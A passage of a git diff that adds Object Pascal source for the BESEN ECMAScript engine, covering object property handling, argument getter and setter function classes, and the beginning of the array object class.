failed'); + end; + procedure PutSetter(Obj:TBESENObject;Prop:TBESENObjectProperty); + var TempValue:TBESENValue; + ValuePointers:array[0..0] of PBESENValue; + begin + if (boppSETTER in Prop.Descriptor.Presents) and assigned(Prop.Descriptor.Setter) then begin + ValuePointers[0]:=@V; + TBESEN(Instance).ObjectCall(TBESENObject(Prop.Descriptor.Setter),BESENObjectValue(Obj),@ValuePointers,1,TempValue); + exit; + end; + if Throw then begin + BESENThrowNoSetter(Prop.Key); + end; + end; +var Obj:TBESENObject; + Prop:TBESENObjectProperty; +begin + if (Index>=0) and (Index<Properties.ItemCount) then begin + Prop:=Properties.Items[Index]; + if assigned(Prop) and (Prop.ID=ID) then begin + if ([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[] then begin + if bopaWRITABLE in Prop.Descriptor.Attributes then begin + BESENCopyValue(Prop.Descriptor.Value,V); + end else begin + if Throw then begin + BESENThrowPut(Prop.Key); + end; + end; + exit; + end else if ([boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[] then begin + PutSetter(self,Prop); + exit; + end; + end; + end; + if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (ID=TBESEN(Instance).KeyIDManager.ProtoID) then begin + PutPrototype(V,Throw); + exit; + end; + Prop:=nil; + Obj:=Prototype; + while assigned(Obj) do begin + if (Index>=0) and (Index<Obj.Properties.ItemCount) then begin + Prop:=Obj.Properties.Items[Index]; + if assigned(Prop) and (Prop.ID=ID) and (([boppVALUE,boppWRITABLE,boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[]) then begin + break; + end; + end; + Obj:=Obj.Prototype; + end; + if assigned(Obj) and assigned(Prop) then begin + if ([boppGETTER,boppSETTER]*Prop.Descriptor.Presents)<>[] then begin + PutSetter(self,Prop); + exit; + end else begin + if not (Extensible and ((boppWRITABLE in Prop.Descriptor.Presents) and (bopaWRITABLE in Prop.Descriptor.Attributes))) then begin + if Throw then begin + BESENThrowPut(Prop.Key); + end; + exit; + end; + end; + end else begin + Obj:=self; + end; + if Extensible then begin + PutNew(TBESEN(Instance).KeyIDManager.List[ID],V,Throw); + end; + if Throw then begin + ThrowIt; + end; +end; + +procedure TBESENObject.PutArrayIndex(const Index:TBESENUINT32;const V:TBESENValue;Throw:TBESENBoolean); +begin + Put(BESENArrayIndexToStr(Index),V,Throw); +end; + +procedure TBESENObject.Put(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;Hash:TBESENHash=0); +var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor; + Temp:TBESENValue; +begin + if Hash=0 then begin + Hash:=BESENHashKey(P); + end; + PutEx(P,V,Throw,Descriptor,OwnDescriptor,Temp,Hash); +end; + +function TBESENObject.HasPropertyEx(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + result:=GetProperty(P,Descriptor,Hash); +end; + +function TBESENObject.HasProperty(const P:TBESENString;Hash:TBESENHash=0):TBESENBoolean; +var Descriptor:TBESENObjectPropertyDescriptor; +begin + if Hash=0 then begin + Hash:=BESENHashKey(P); + end; + result:=HasPropertyEx(P,Descriptor,Hash); +end; + +function TBESENObject.DeleteEx(const P:TBESENString;Throw:TBESENBoolean;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; + procedure ThrowIt; + begin + BESENThrowTypeError('Delete for "'+P+'" failed'); + end; +begin + if GetOwnProperty(P,Descriptor,Hash) then begin + if boppPROTO in Descriptor.Presents then begin + Prototype:=nil; + result:=true; + end else if (boppCONFIGURABLE in Descriptor.Presents) and (bopaCONFIGURABLE in Descriptor.Attributes) then begin + Properties.Remove(P,Hash); + result:=true; + end else begin + if Throw then begin + ThrowIt; + end; + result:=false; + end; + end else begin + result:=true; + end; +end; + +function TBESENObject.Delete(const P:TBESENString;Throw:TBESENBoolean;Hash:TBESENHash=0):TBESENBoolean; +var Descriptor:TBESENObjectPropertyDescriptor; +begin + if Hash=0 then begin + Hash:=BESENHashKey(P); + end; + result:=DeleteEx(P,Throw,Descriptor,Hash); +end; + +function TBESENObject.DeleteIndex(const Index,ID:longint;Throw:TBESENBoolean):TBESENBoolean; +var Descriptor:TBESENObjectPropertyDescriptor; + Prop:TBESENObjectProperty; +begin + if (Index>=0) and (Index<Properties.ItemCount) then begin + Prop:=Properties.Items[Index]; + if assigned(Prop) and (Prop.ID=ID) then begin + result:=DeleteEx(Prop.Key,Throw,Descriptor); + exit; + end; + end; + result:=DeleteEx(TBESEN(Instance).KeyIDManager.List[ID],Throw,Descriptor); +end; + +function TBESENObject.DeleteArrayIndex(const Index:TBESENUINT32;Throw:TBESENBoolean):TBESENBoolean; +begin + result:=Delete(BESENArrayIndexToStr(Index),Throw); +end; + +function TBESENObject.DefineOwnPropertyEx(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;var Current:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +var Prop:TBESENObjectProperty; + CurrentResult:boolean; + procedure ThrowIt; + begin + BESENThrowTypeError('DefineOwnProperty for "'+P+'" failed'); + end; +begin + result:=false; + CurrentResult:=GetOwnProperty(P,Current,Hash); + if not CurrentResult then begin + if Extensible then begin + if (([boppVALUE,boppWRITABLE,boppGETTER,boppSETTER]*Descriptor.Presents)=[]) or (([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[]) then begin + Prop:=Properties.Get(P,Hash); + if not assigned(Prop) then begin + Prop:=Properties.Put(P,Hash); + end; + BESENCopyValue(Prop.Descriptor.Value,Descriptor.Value); + Prop.Descriptor.Getter:=nil; + Prop.Descriptor.Setter:=nil; + Prop.Descriptor.Attributes:=Descriptor.Attributes; + Prop.Descriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; + if Prop.ID>=0 then begin + InvalidateStructure; + end; + result:=true; + exit; + end else if ([boppGETTER,boppSETTER]*Descriptor.Presents)<>[] then begin + Prop:=Properties.Get(P,Hash); + if not assigned(Prop) then begin + Prop:=Properties.Put(P,Hash); + end; + Prop.Descriptor.Value.ValueType:=bvtUNDEFINED; + Prop.Descriptor.Getter:=Descriptor.Getter; + Prop.Descriptor.Setter:=Descriptor.Setter; + Prop.Descriptor.Attributes:=Descriptor.Attributes*[bopaENUMERABLE,bopaCONFIGURABLE]; + Prop.Descriptor.Presents:=[boppGETTER,boppSETTER,boppENUMERABLE,boppCONFIGURABLE]; + if Prop.ID>=0 then begin + InvalidateStructure; + end; + result:=true; + exit; + end; + end else begin + if Throw then begin + ThrowIt; + end; + exit; + end; + end; + if Descriptor.Presents=[] then begin + result:=true; + exit; + end; + if boppPROTO in Current.Presents then begin + if ((([boppGETTER,boppSETTER]*Descriptor.Presents)=[]) and (([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[])) and (boppVALUE in Descriptor.Presents) then begin + PutPrototype(Descriptor.Value,Throw); + result:=true; + end else begin + if Throw then begin + ThrowIt; + end; + end; + result:=true; + exit; + end; + if ((Descriptor.Presents*Current.Presents)=Descriptor.Presents) and + (((boppVALUE in Descriptor.Presents) and TBESEN(Instance).SameValue(Descriptor.Value,Current.Value)) or not (boppVALUE in Descriptor.Presents)) and + (((boppGETTER in Descriptor.Presents) and TBESEN(Instance).SameObject(TBESENObject(Descriptor.Getter),TBESENObject(Current.Getter))) or not (boppGETTER in Descriptor.Presents)) and + (((boppSETTER in Descriptor.Presents) and TBESEN(Instance).SameObject(TBESENObject(Descriptor.Setter),TBESENObject(Current.Setter))) or not (boppSETTER in Descriptor.Presents)) and + (((boppWRITABLE in Descriptor.Presents) and (bopaWRITABLE in (Descriptor.Attributes*Current.Attributes))) or not (boppWRITABLE in Descriptor.Presents)) and + (((boppENUMERABLE in Descriptor.Presents) and (bopaENUMERABLE in (Descriptor.Attributes*Current.Attributes))) or not (boppENUMERABLE in Descriptor.Presents)) and + (((boppCONFIGURABLE in Descriptor.Presents) and (bopaCONFIGURABLE in (Descriptor.Attributes*Current.Attributes))) or not (boppCONFIGURABLE in Descriptor.Presents)) then begin + result:=true; + exit; + end; + if not ((boppCONFIGURABLE in Current.Presents) and (bopaCONFIGURABLE in Current.Attributes)) then begin + if (((boppCONFIGURABLE in Descriptor.Presents) and (bopaCONFIGURABLE in Descriptor.Attributes))) or + ((((boppENUMERABLE in Descriptor.Presents) and (bopaENUMERABLE in Descriptor.Attributes)))<>(((boppENUMERABLE in Current.Presents) and (bopaENUMERABLE in Current.Attributes)))) then begin + if Throw then begin + ThrowIt; + end; + exit; + end; + end; + if ([boppVALUE,boppWRITABLE,boppGETTER,boppSETTER]*Descriptor.Presents)=[] then begin + end else if (([boppVALUE,boppWRITABLE]*Current.Presents)<>[])<>(([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[]) then begin + if not ((boppCONFIGURABLE in Current.Presents) and (bopaCONFIGURABLE in Current.Attributes)) then begin + if Throw then begin + ThrowIt; + end; + exit; + end; + if ([boppVALUE,boppWRITABLE]*Current.Presents)<>[] then begin + Current.Value.ValueType:=bvtUNDEFINED; + Current.Getter:=nil; + Current.Setter:=nil; + Current.Attributes:=Current.Attributes*[bopaCONFIGURABLE,bopaENUMERABLE]; + Current.Presents:=Current.Presents*[boppCONFIGURABLE,boppENUMERABLE]; + end else begin + Current.Value.ValueType:=bvtUNDEFINED; + Current.Getter:=nil; + Current.Setter:=nil; + Current.Attributes:=Current.Attributes*[bopaCONFIGURABLE,bopaENUMERABLE]; + Current.Presents:=(Current.Presents*[boppCONFIGURABLE,boppENUMERABLE])+[boppVALUE]; + end; + end else if (([boppVALUE,boppWRITABLE]*Current.Presents)<>[]) and (([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[]) then begin + if not ((boppCONFIGURABLE in Current.Presents) and (bopaCONFIGURABLE in Current.Attributes)) then begin + if (((boppWRITABLE in Descriptor.Presents) and (bopaWRITABLE in Descriptor.Attributes)) or + ((boppVALUE in Descriptor.Presents) and not (((boppVALUE in Current.Presents) and TBESEN(Instance).SameValue(Descriptor.Value,Current.Value)) or + (TBESEN(Instance).SameValue(Descriptor.Value,BESENUndefinedValue) and not (boppVALUE in Current.Presents))))) and not + ((boppWRITABLE in Current.Presents) and (bopaWRITABLE in Current.Attributes)) then begin + if Throw then begin + ThrowIt; + end; + exit; + end; + end; + end else if (([boppGETTER,boppSETTER]*Current.Presents)<>[]) and (([boppGETTER,boppSETTER]*Descriptor.Presents)<>[]) then begin + if not ((boppCONFIGURABLE in Current.Presents) and (bopaCONFIGURABLE in Current.Attributes)) then begin + if boppSETTER in Descriptor.Presents then begin + if boppSETTER in Current.Presents then begin + if not TBESEN(Instance).SameObject(TBESENObject(Descriptor.Setter),TBESENObject(Current.Setter)) then begin + if Throw then begin + ThrowIt; + end; + exit; + end; + end else begin + if Throw then begin + ThrowIt; + end; + exit; + end; + end; + if boppGETTER in Descriptor.Presents then begin + if boppGETTER in Current.Presents then begin + if not TBESEN(Instance).SameObject(TBESENObject(Descriptor.Getter),TBESENObject(Current.Getter)) then begin + if Throw then begin + ThrowIt; + end; + exit; + end; + end else begin + if Throw then begin + ThrowIt; + end; + exit; + end; + end; + end; + end; + if boppVALUE in Descriptor.Presents then begin + Current.Presents:=Current.Presents+[boppVALUE]; + BESENCopyValue(Current.Value,Descriptor.Value); + end; + if boppGETTER in Descriptor.Presents then begin + Current.Presents:=Current.Presents+[boppGETTER]; + Current.Getter:=Descriptor.Getter; + end; + if boppSETTER in Descriptor.Presents then begin + Current.Presents:=Current.Presents+[boppSETTER]; + Current.Setter:=Descriptor.Setter; + end; + if boppWRITABLE in Descriptor.Presents then begin + Current.Presents:=Current.Presents+[boppWRITABLE]; + Current.Attributes:=(Current.Attributes-[bopaWRITABLE])+(Descriptor.Attributes*[bopaWRITABLE]); + end; + if boppENUMERABLE in Descriptor.Presents then begin + Current.Presents:=Current.Presents+[boppENUMERABLE]; + Current.Attributes:=(Current.Attributes-[bopaENUMERABLE])+(Descriptor.Attributes*[bopaENUMERABLE]); + end; + if boppCONFIGURABLE in Descriptor.Presents then begin + Current.Presents:=Current.Presents+[boppCONFIGURABLE]; + Current.Attributes:=(Current.Attributes-[bopaCONFIGURABLE])+(Descriptor.Attributes*[bopaCONFIGURABLE]); + end; + Prop:=Properties.Get(P,Hash); + if assigned(Prop) then begin + if (Prop.ID>=0) and ((Prop.Descriptor.Attributes<>Current.Attributes) or (Prop.Descriptor.Presents<>Current.Presents)) then begin + InvalidateStructure; + end; + end else begin + Prop:=Properties.Put(P,Hash); + end; + BESENCopyValue(Prop.Descriptor.Value,Current.Value); + Prop.Descriptor.Getter:=Current.Getter; + Prop.Descriptor.Setter:=Current.Setter; + Prop.Descriptor.Attributes:=Current.Attributes; + Prop.Descriptor.Presents:=Current.Presents; + result:=true; +end; + +function TBESENObject.DefineOwnProperty(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;Hash:TBESENHash=0):TBESENBoolean; +var Current:TBESENObjectPropertyDescriptor; +begin + result:=DefineOwnPropertyEx(P,Descriptor,Throw,Current,Hash); +end; + +procedure TBESENObject.DefaultValue(const AHint:TBESENValue;var AResult:TBESENValue); +var EffectiveHint:TBESENObject; + v:TBESENValue; + procedure ThrowIt; + begin + raise EBESENTypeError.Create('Bad default value'); + end; +begin + case AHint.ValueType of + bvtNUMBER:begin + EffectiveHint:=TBESEN(Instance).ObjectNumberConstructor; + end; + bvtSTRING:begin + EffectiveHint:=TBESEN(Instance).ObjectStringConstructor; + end; + bvtOBJECT:begin + if (AHint.Obj=TBESEN(Instance).ObjectNumberConstructor) or (AHint.Obj=TBESEN(Instance).ObjectStringConstructor) then begin + EffectiveHint:=TBESENObject(AHint.Obj); + end else if AHint.Obj=TBESEN(Instance).ObjectDateConstructor then begin + EffectiveHint:=TBESEN(Instance).ObjectStringConstructor; + end else begin + EffectiveHint:=TBESEN(Instance).ObjectNumberConstructor; + end; + end else begin + EffectiveHint:=TBESEN(Instance).ObjectNumberConstructor; + end; + end; + if EffectiveHint=TBESEN(Instance).ObjectStringConstructor then begin + Get('toString',v); + if (v.ValueType=bvtOBJECT) and assigned(v.Obj) and TBESENObject(v.Obj).HasCall then begin + TBESEN(Instance).ObjectCall(TBESENObject(v.Obj),BESENObjectValue(self),nil,0,AResult); + if AResult.ValueType<>bvtOBJECT then begin + exit; + end; + end; + Get('valueOf',v); + if (v.ValueType=bvtOBJECT) and assigned(v.Obj) and TBESENObject(v.Obj).HasCall then begin + TBESEN(Instance).ObjectCall(TBESENObject(v.Obj),BESENObjectValue(self),nil,0,AResult); + if AResult.ValueType<>bvtOBJECT then begin + exit; + end; + end; + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + AResult:=BESENStringValue('[object '+inttostr(ptruint(self))+']'); + end else begin + ThrowIt; + end; + end else if EffectiveHint=TBESEN(Instance).ObjectNumberConstructor then begin + Get('valueOf',v); + if (v.ValueType=bvtOBJECT) and assigned(v.Obj) and TBESENObject(v.Obj).HasCall then begin + TBESEN(Instance).ObjectCall(TBESENObject(v.Obj),BESENObjectValue(self),nil,0,AResult); + if AResult.ValueType<>bvtOBJECT then begin + exit; + end; + end; + Get('toString',v); + if (v.ValueType=bvtOBJECT) and assigned(v.Obj) and TBESENObject(v.Obj).HasCall then begin + TBESEN(Instance).ObjectCall(TBESENObject(v.Obj),BESENObjectValue(self),nil,0,AResult); + if AResult.ValueType<>bvtOBJECT then begin + exit; + end; + end; + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + AResult:=BESENStringValue('[object '+inttostr(ptruint(self))+']'); + end else begin + ThrowIt; + end; + end else begin + ThrowIt; + end; +end; + +function TBESENObject.Enumerator(GetOnlyOwnProperties,GetAllProperties:TBESENBoolean):TBESENObjectPropertyEnumerator; +begin + result:=TBESENObjectPropertyEnumerator.Create(Instance,self,GetOnlyOwnProperties,GetAllProperties); +end; + +procedure TBESENObject.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:longint;var AResult:TBESENValue); +begin + AResult:=BESENUndefinedValue; +end; + +procedure TBESENObject.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:longint;var AResult:TBESENValue); +begin + AResult:=BESENUndefinedValue; +end; + +function TBESENObject.HasInstance(const AInstance:TBESENValue):TBESENBoolean; +begin + result:=false; +end; + +function TBESENObject.GetSecurityDomain:pointer; +begin + result:=nil; +end; + +function TBESENObject.HasCall:TBESENBoolean; +begin + result:=false; +end; + +function TBESENObject.HasConstruct:TBESENBoolean; +begin + result:=false; +end; + +function TBESENObject.HasHasInstance:TBESENBoolean; +begin + result:=false; +end; + +function TBESENObject.HasEnumerator:TBESENBoolean; +begin + result:=false; +end; + +function TBESENObject.HasGetSecurityDomain:TBESENBoolean; +begin + result:=false; +end; + +procedure TBESENObject.Finalize; +var CurrentItem:TBESENObjectProperty; +begin + Prototype:=nil; + CurrentItem:=Properties.GetFirst; + while assigned(CurrentItem) do begin + TBESEN(Instance).GarbageCollector.FinalizeValue(CurrentItem.Descriptor.Value); + CurrentItem:=CurrentItem.Next; + end; + Properties.Clear; + inherited Finalize; +end; + +procedure TBESENObject.Mark; +var CurrentItem:TBESENObjectProperty; +begin + TBESEN(Instance).GarbageCollector.GrayIt(Prototype); + CurrentItem:=Properties.First; + while assigned(CurrentItem) do begin + TBESEN(Instance).GarbageCollector.GrayValue(CurrentItem.Descriptor.Value); + TBESEN(Instance).GarbageCollector.GrayIt(TBESENObject(CurrentItem.Descriptor.Getter)); + TBESEN(Instance).GarbageCollector.GrayIt(TBESENObject(CurrentItem.Descriptor.Setter)); + CurrentItem:=CurrentItem.Next; + end; + inherited Mark; +end; + +procedure BESENCheckObjectCoercible(const v:TBESENValue); {$ifdef caninline}inline;{$endif} +begin + case v.ValueType of + bvtUNDEFINED,bvtNULL,bvtREFERENCE,bvtLOCAL:begin + BESENThrowTypeError('CheckObjectCoercible failed'); + end; + end; +end; + +function BESENIsCallable(const v:TBESENValue):TBESENBoolean; {$ifdef caninline}inline;{$endif} +begin + result:=(v.ValueType=bvtOBJECT) and (assigned(v.Obj) and TBESENObject(v.Obj).HasCall); +end; + +end. diff --git a/Core/JS/BESENObjectArgGetterFunction.pas b/Core/JS/BESENObjectArgGetterFunction.pas new file mode 100644 index 0000000..92714fc --- /dev/null +++ b/Core/JS/BESENObjectArgGetterFunction.pas @@ -0,0 +1,94 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectArgGetterFunction; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor,BESENEnvironmentRecord; + +type TBESENObjectArgGetterFunction=class(TBESENObjectFunction) + public + Env:TBESENEnvironmentRecord; + ArgName:TBESENString; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasCall:TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN,BESENErrors,BESENHashUtils; + +constructor TBESENObjectArgGetterFunction.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='ArgGetter'; + Env:=nil; + ArgName:=''; +end; + +destructor TBESENObjectArgGetterFunction.Destroy; +begin + Env:=nil; + ArgName:=''; + inherited Destroy; +end; + +procedure TBESENObjectArgGetterFunction.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + Env.GetBindingValue(ArgName,true,AResult,BESENHashKey(ArgName)); +end; + +function TBESENObjectArgGetterFunction.HasCall:TBESENBoolean; +begin + result:=true; +end; + +procedure TBESENObjectArgGetterFunction.Finalize; +begin + Env:=nil; + inherited Finalize; +end; + +procedure TBESENObjectArgGetterFunction.Mark; +begin + if assigned(Env) then begin + TBESEN(Instance).GarbageCollector.GrayIt(Env); + end; + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectArgSetterFunction.pas b/Core/JS/BESENObjectArgSetterFunction.pas new file mode 100644 index 0000000..22a58ec --- /dev/null +++ b/Core/JS/BESENObjectArgSetterFunction.pas @@ -0,0 +1,99 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectArgSetterFunction; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor,BESENEnvironmentRecord; + +type TBESENObjectArgSetterFunction=class(TBESENObjectFunction) + public + Env:TBESENEnvironmentRecord; + ArgName:TBESENString; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasCall:TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN,BESENErrors,BESENHashUtils; + +constructor TBESENObjectArgSetterFunction.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='ArgSetter'; + Env:=nil; + ArgName:=''; +end; + +destructor TBESENObjectArgSetterFunction.Destroy; +begin + Env:=nil; + ArgName:=''; + inherited Destroy; +end; + +procedure TBESENObjectArgSetterFunction.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + if CountArguments<1 then begin + Env.SetMutableBinding(ArgName,BESENUndefinedValue,true,BESENHashKey(ArgName)); + end else begin + Env.SetMutableBinding(ArgName,Arguments^[0]^,true,BESENHashKey(ArgName)); + end; + AResult.ValueType:=bvtUNDEFINED; +end; + +function TBESENObjectArgSetterFunction.HasCall:TBESENBoolean; +begin + result:=true; +end; + +procedure TBESENObjectArgSetterFunction.Finalize; +begin + Env:=nil; + inherited Finalize; +end; + +procedure TBESENObjectArgSetterFunction.Mark; +begin + if assigned(Env) then begin + TBESEN(Instance).GarbageCollector.GrayIt(Env); + end; + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectArray.pas b/Core/JS/BESENObjectArray.pas new file mode 100644 index 0000000..027e6f7 --- /dev/null +++ b/Core/JS/BESENObjectArray.pas @@ -0,0 +1,362 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectArray; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectArray=class(TBESENObject) + private + ArrayLength:TBESENUINT32; + function ToIndex(AProp:TBESENString;var v:int64):TBESENBoolean; + function GetLen:TBESENUINT32; + procedure SetLen(NewLen:TBESENUINT32); + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure PutEx(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0); override; + procedure PutIndex(const Index,ID:integer;const V:TBESENValue;Throw:TBESENBoolean); override; + function DefineOwnPropertyEx(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;var Current:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + function GetArrayIndex(const Index:TBESENUINT32;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; override; + procedure PutArrayIndex(const Index:TBESENUINT32;const V:TBESENValue;Throw:TBESENBoolean); override; + function DeleteArrayIndex(const Index:TBESENUINT32;Throw:TBESENBoolean):TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + procedure Push(const AValue:TBESENValue); + property Len:TBESENUINT32 read GetLen write SetLen; + end; + +implementation + +uses BESEN,BESENUtils,BESENArrayUtils,BESENHashUtils,BESENGlobals, + BESENNumberUtils,BESENErrors; + +constructor TBESENObjectArray.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Array'; + ObjectName:='array'; + Len:=0; + ArrayLength:=0; + + Properties.Sort(true); + + inherited OverwriteData('length',BESENNumberValue(0),[bopaWRITABLE]); +end; + +destructor TBESENObjectArray.Destroy; +begin + inherited Destroy; +end; + +function TBESENObjectArray.ToIndex(AProp:TBESENString;var v:int64):TBESENBoolean; +begin + result:=BESENArrayToIndex(AProp,v); +end; + +{procedure TBESENObjectArray.SetLen(const AValue:TBESENValue); +var NewLen,i:TBESENUInt32; +begin + NewLen:=TBESEN(Instance).ToUInt32(AValue); + if Len>NewLen then begin + for i:=Len+1 to NewLen do begin + inherited Delete(IndexToStr(i-1),true); + end; + end; + Len:=NewLen; +end;} + +function TBESENObjectArray.GetLen:TBESENUINT32; +var LenDesc:TBESENObjectPropertyDescriptor; +begin + GetOwnProperty('length',LenDesc,BESENLengthHash); + result:=TBESEN(Instance).ToUINT32(LenDesc.Value); + ArrayLength:=result; +end; + +procedure TBESENObjectArray.SetLen(NewLen:TBESENUINT32); +begin + ArrayLength:=NewLen; + inherited OverwriteData('length',BESENNumberValue(NewLen),[bopaWRITABLE]); +end; + +procedure TBESENObjectArray.PutEx(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0); +var Index:int64; + Prop:TBESENObjectProperty; +begin + // Trying faster pre-catching implementation first + if ToIndex(P,Index) then begin + if (Index>=0) and (Index<ArrayLength) then begin + Prop:=Properties.Get(P,Hash); + if assigned(Prop) then begin + if (([boppVALUE,boppWRITABLE]*Prop.Descriptor.Presents)<>[]) and (bopaWRITABLE in Prop.Descriptor.Attributes) then begin + BESENCopyValue(Prop.Descriptor.Value,v); + exit; + end; + end else if Extensible then begin + Prop:=Properties.Put(P,Hash); + if assigned(Prop) then begin + BESENCopyValue(Prop.Descriptor.Value,v); + Prop.Descriptor.Getter:=nil; + Prop.Descriptor.Setter:=nil; + Prop.Descriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; + Prop.Descriptor.Attributes:=[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]; + if Prop.ID>=0 then begin + InvalidateStructure; + end; + exit; + end; + end; + end; + end; + + // Fallback to specification-conformant implementation + PutFull(P,V,Throw,Descriptor,OwnDescriptor,TempValue,Hash); +end; + +procedure TBESENObjectArray.PutIndex(const Index,ID:integer;const V:TBESENValue;Throw:TBESENBoolean); +begin + if ID=TBESEN(Instance).KeyIDManager.LengthID then begin + Put(TBESEN(Instance).KeyIDManager.List[ID],V,Throw); + end else if ((Index>=0) and (Index<Properties.ItemCount)) and assigned(Properties.Items[Index]) and (Properties.Items[Index].ID=ID) then begin + inherited PutIndex(Index,ID,V,Throw); + end else begin + 